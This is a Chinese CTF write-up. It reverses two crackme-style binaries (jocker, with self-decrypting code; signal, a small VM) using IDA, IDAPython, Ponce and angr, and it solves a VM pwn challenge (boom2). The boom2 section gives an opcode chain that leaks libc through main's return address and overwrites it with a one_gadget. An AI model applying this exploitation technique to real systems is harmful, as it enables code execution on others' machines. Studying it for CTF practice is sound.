RE

jocker

因为sp有负数,ida无法反编译出main伪代码,可以用ALT+K在两个sp错误的地方修改sp为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:00401788 loc_401788:                             ; CODE XREF: _main+54↑j
.text:00401788 lea eax, [ebp+var_96]
.text:0040178E mov [esp+4], eax
.text:00401792 mov dword ptr [esp], offset a40s ; "%40s"
.text:00401799 call _scanf
.text:0040179E lea eax, [ebp+var_96]
.text:004017A4 mov [esp], eax ; char *
.text:004017A7 call _strlen
.text:004017AC mov [ebp+var_10], eax
.text:004017AF cmp [ebp+var_10], 18h
.text:004017B3 jz short loc_4017CD
.text:004017B5 mov dword ptr [esp], offset aWrong ; "Wrong!"
.text:004017BC call _puts
.text:004017C1 mov dword ptr [esp], 0 ; int
.text:004017C8 call _exit

经过输入并判断长度后进入wrong函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char *__cdecl wrong(char *a1)
{
char *result; // eax
signed int i; // [esp+Ch] [ebp-4h]

for ( i = 0; i <= 23; ++i )
{
if ( i & 1 )
{
result = &a1[i];
a1[i] -= i;
}
else
{
result = &a1[i];
a1[i] ^= i;
}
}
return result;
}

再进入omg函数对一堆byte进行比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl omg(char *a1)
{
int result; // eax
int v2[24]; // [esp+18h] [ebp-80h]
int i; // [esp+78h] [ebp-20h]
int v4; // [esp+7Ch] [ebp-1Ch]

v4 = 1;
qmemcpy(v2, &dword_4030C0, sizeof(v2));
for ( i = 0; i <= 23; ++i )
{
if ( a1[i] != v2[i] )
v4 = 0;
}
if ( v4 == 1 )
result = puts("hahahaha_do_you_find_me?");
else
result = puts("wrong ~~ But seems a little program");
return result;
}

.data:004030C0 dword_4030C0 dd 66h, 6Bh, 63h, 64h, 7Fh, 61h, 67h, 64h, 3Bh, 56h, 6Bh; 0
.data:004030C0 ; DATA XREF: omg(char *)+16↑o
.data:004030C0 dd 61h, 7Bh, 26h, 3Bh, 50h, 63h, 5Fh, 4Dh, 5Ah, 71h, 0Ch; 11
.data:004030C0 dd 37h, 66h, 0, 0, 0, 0, 0, 0, 0, 0; 22
//这里将其转换成double word 再转换成数组

这里得到一个假的flag

flag{fak3_alw35_sp_me!!}

当时高兴半天,感觉终于做出来一题,提交了半天发现后面还有函数

这里对encrypt 和 final函数进行解密,这里应该也是导致sp错误的原因,我们动态调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
00401500 | 55                       | push ebp                                |
00401501 | 89E5 | mov ebp,esp |
00401503 | 57 | push edi |
00401504 | 56 | push esi |
00401505 | 53 | push ebx |
00401506 | 83EC 7C | sub esp,7C |
00401509 | C745 E0 01000000 | mov dword ptr ss:[ebp-20],1 |
00401510 | 8D45 94 | lea eax,dword ptr ss:[ebp-6C] |
00401513 | BB 40304000 | mov ebx,jocker.403040 |
00401518 | BA 13000000 | mov edx,13 |
0040151D | 89C7 | mov edi,eax |
0040151F | 89DE | mov esi,ebx |
00401521 | 89D1 | mov ecx,edx |
00401523 | F3:A5 | rep movsd |
00401525 | C745 E4 00000000 | mov dword ptr ss:[ebp-1C],0 |
0040152C | EB 49 | jmp jocker.401577 |
0040152E | 8B55 E4 | mov edx,dword ptr ss:[ebp-1C] |
00401531 | 8B45 08 | mov eax,dword ptr ss:[ebp+8] |
00401534 | 01D0 | add eax,edx |
00401536 | 0FB610 | movzx edx,byte ptr ds:[eax] |
00401539 | 8B45 E4 | mov eax,dword ptr ss:[ebp-1C] |
0040153C | 05 12404000 | add eax,jocker.404012 | 404012:"hahahaha_do_you_find_me?"
00401541 | 0FB600 | movzx eax,byte ptr ds:[eax] |
00401544 | 31D0 | xor eax,edx |
00401546 | 0FBED0 | movsx edx,al |
00401549 | 8B45 E4 | mov eax,dword ptr ss:[ebp-1C] |
0040154C | 8B4485 94 | mov eax,dword ptr ss:[ebp+eax*4-6C] |
00401550 | 39C2 | cmp edx,eax |
00401552 | 74 1F | je jocker.401573 |
00401554 | C70424 00404000 | mov dword ptr ss:[esp],jocker.404000 | 404000:"wrong ~"
0040155B | E8 E0130000 | call <JMP.&puts> |
00401560 | C745 E0 00000000 | mov dword ptr ss:[ebp-20],0 |
00401567 | C70424 00000000 | mov dword ptr ss:[esp],0 |
0040156E | E8 AD130000 | call <JMP.&exit> |
00401573 | 8345 E4 01 | add dword ptr ss:[ebp-1C],1 |
00401577 | 837D E4 12 | cmp dword ptr ss:[ebp-1C],12 |
0040157B | 7E B1 | jle jocker.40152E |
0040157D | 837D E0 01 | cmp dword ptr ss:[ebp-20],1 |
00401581 | 75 0C | jne jocker.40158F |
00401583 | C70424 08404000 | mov dword ptr ss:[esp],jocker.404008 | 404008:"come here"
0040158A | E8 B1130000 | call <JMP.&puts> |
0040158F | 8B45 E0 | mov eax,dword ptr ss:[ebp-20] |
00401592 | 83C4 7C | add esp,7C |
00401595 | 5B | pop ebx |
00401596 | 5E | pop esi |
00401597 | 5F | pop edi |
00401598 | 5D | pop ebp |
00401599 | C3 | ret |

大概意思是输入的字符串前19个字符和hahahaha_do_you_find_me?进行异或然后和[0Eh, 0Dh, 9, 6, 13h, 5, 58h, 56h, 3Eh, 6, 0Ch, 3Ch,1Fh, 57h, 14h, 6Bh, 57h, 59h, 0Dh]比较

这里得到flag的前19位flag{d07abccf8a410c

最后这个函数当时怎么也没搞懂,应该是%tp&:和flag{进行比较,但是只比较了第一个(如果我没看错的话),’}’和’:’异或得到’G’,用这个去异或%tp&得到b37a},完整flag:flag{d07abccf8a410cb37a}

修改sp后main函数的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+12h] [ebp-96h]
char v5; // [esp+44h] [ebp-64h]
DWORD flOldProtect; // [esp+94h] [ebp-14h]
size_t v7; // [esp+98h] [ebp-10h]
int i; // [esp+9Ch] [ebp-Ch]

__main();
puts("please input you flag:");
if ( VirtualProtect(encrypt, 0xC8u, 4u, &flOldProtect) == 0 )
exit(1);
scanf("%40s", &v4);
v7 = strlen(&v4);
if ( v7 != 24 )
{
puts("Wrong!");
exit(0);
}
strcpy(&v5, &v4);
wrong(&v4);
omg(&v4);
for ( i = 0; i <= 186; ++i )
*((_BYTE *)encrypt + i) ^= 0x41u;
if ( encrypt(&v5) != 0 )
finally(&v5);
return 0;
}

使用idapython脚本解密函数查看伪代码

1
2
3
4
5
6
en = 0x00401500
for i in range(0xbb):
addr = en + i
byte = get_bytes(addr,1)
byte = ord(byte)^0x41
patch_byte(addr,byte)

点击ida中的File->Script file…加载此脚本

然后在encrypto函数中使用U快捷键undefined掉原来所有数据,再使用P快捷键重新生成函数。

当然也可以用ida动态调试后查看伪代码

signal

方法一

看了一些师傅的wp说这个是伪虚拟机的逆向,让本菜鸡不禁想问 啥是虚拟机???

vm_operad函数里的switch我看着都头疼,比赛时就没有仔细看,其实从后往前分析逻辑还是比较简单的

当case 7时会进行判断,我们可以看到a1后半段的数据都是7后面再跟一个数,也就是v4经过一段加密然后和这个数比较,v4是在case 1时被赋值的,根据a1的一堆数据我们可以发现,我们的输入的每个字符会在1之前的几个case进行加密,从7后面的数据往前推就可以得到正确的输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
v3[0] = (0x22+5) ^ 0x10
v3[1] = int(0x3f/3) ^ 0x20
v3[2] = 0x37
v3[3] = (0x32^4) -1
v3[4] = int((0x72+0x21)/3)
v3[5] = 0x35
v3[6] = (0x18+0x20) ^ 9
v3[7] = (0xa7 ^ 0x24) - 0x51
v3[8] = 0x31
v3[9] = int((0xf1-0x25)/2)
v3[10] = (0x28 ^ 0x41) -0x36
v3[11] = 0x84 - 0x20
v3[12] = int((0xc1-0x25)/3)
v3[13] = (0x1e+0x20) ^ 9
v3[14] = (0x7a-1)-0x41

如何快速得到那一堆数据呢

先将其转换为array 再点击Edit->Export data 或者快捷键shift+e

方法二 符号执行

使用ida插件ponce https://github.com/illera88/Ponce

在scanf后下断点 将我们的输入符号化

在ida7.0下没有复现成功,所以换了ida6.8 需要注意的是 在hex dump中无法symbolize memory 但是可以在反汇编视图中进行这个操作

之后修改eip的值为0x4016FE防止程序退出,然后继续F9执行,重复上图的操作,得到剩下的值

使用angr

1
2
3
4
5
6
7
8
9
10
# -*- coding: utf-8 -*-
import angr

p = angr.Project('./signal.exe') #指定angr跑的程序
state = p.factory.entry_state() #新建一个SimState的对象,得到一个初始化到二进制入口函数的SimState对象。
simgr = p.factory.simgr(state) #创建simulation manager,angr的主要入口

simgr.explore(find=0x004017A5 ,avoid=0x004016E6) #争取跑到输出成功的地址,避免跑到输出wrong的地址
flag = simgr.found[0].posix.dumps(0)[:15] #得到flag
print(flag)

pwn

boom2

先开一下开了什么保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

运行一下,提示输出code

丢到ida里面,代码都在main函数里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
printf("MC execution system\nInput your code> ", 0LL, a2, a1);
read(0, buf, 0x120uLL);
v3 += 0x8000;
v37 = v3; // 栈底
--v3;
*v3 = 0x1ELL; // [bp-1] = 30
--v3;
*v3 = 0xDLL; // [bp-2] = 13
v4 = v3;
--v3;
*v3 = v5 - 1; // [bp-3] = 0
--v3;
*v3 = v6 + 8; // [bp-4] = 真实栈中的地址
v36 = v3 - 1;
*v36 = (signed __int64)v4; // [bp-5] = bp-2
v39 = 0LL;

这段代码之后是一堆while(1),比赛的时候看到这一堆while(1),直接把ida关掉了。。

其实这就是一个庞大的switch结构,也就是vm pwn,从输入里读取opcode。

第一个while读取opcode并限制只能输入30个code,随后的每一个while都是一个handler

对于vm类的题,搞清楚变量的含义是十分重要的

我们大概可以把这个当作一个栈结构,v36当作栈顶,v37当作栈底

[bp-4]处保存了真实的栈地址,我们可以尝试利用它去做文章,通过main函数的返回地址__libc_start_main+240 leak libc,将one_gadget覆盖到main函数返回地址

大概写一下每个handler的功能,凑合看吧。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0	v38 = v37+[buf+1]
1 v38 = [buf+1]
6 [v36-1] = v37----v37 = v36-1----sp = sp-[buf+1]
8 v37 = *v37---sp = v37+2-----[buf+1] = [v37+1]-----
9 v38 = (dword)v38
10 v38 = (byte)v38
11 **v36 = v38----v36+=8
12 **v36byte = v38----v36+=4
13 v36-=8---[v36] = v38
14 v38 |= [v36]---v36+=8
15 v38 ^= [v36]---v36+=8
16 v38 &= [v36]---v36+=8
17 v38 = [v36]==v38---v36+=8
18 v38 = [v36]!=v38---v36+=8
19 v38 = [v36] < v38---v36+=8
20 v38 = [v36] > v38---v36+=8
21 v38 = [v36] <= v38---v36+=8
22 v38 = [v36] >= v38---v36+=8
23 v38 = [v36] << v38---v36+=8
24 v38 = [v36] >> v38---v36+=8
25 v38 += [v36]---v36+=8
26 v38 = [v36] - v38---v36+=8
27 v38 *= [v36] ---v36+=8
28 v38 = [v36] // v38---v36+=8
29 v38 = [v36] % v38---v36+=8
30 quit

构造opcode:

16(v38=0)—1 0xe8—26(v38 = ret)—13—13—13—9—13—1 libc.sym[“__libc_start_main”] + 240—26—13—1 one_gadget—25(v38 = one_gadget)—11—30

reference

https://www.cnblogs.com/jentleTao/p/

https://www.52pojie.cn/thread-1176826-1-1.html

https://blog.csdn.net/Breeze_CAT/article/details/106078982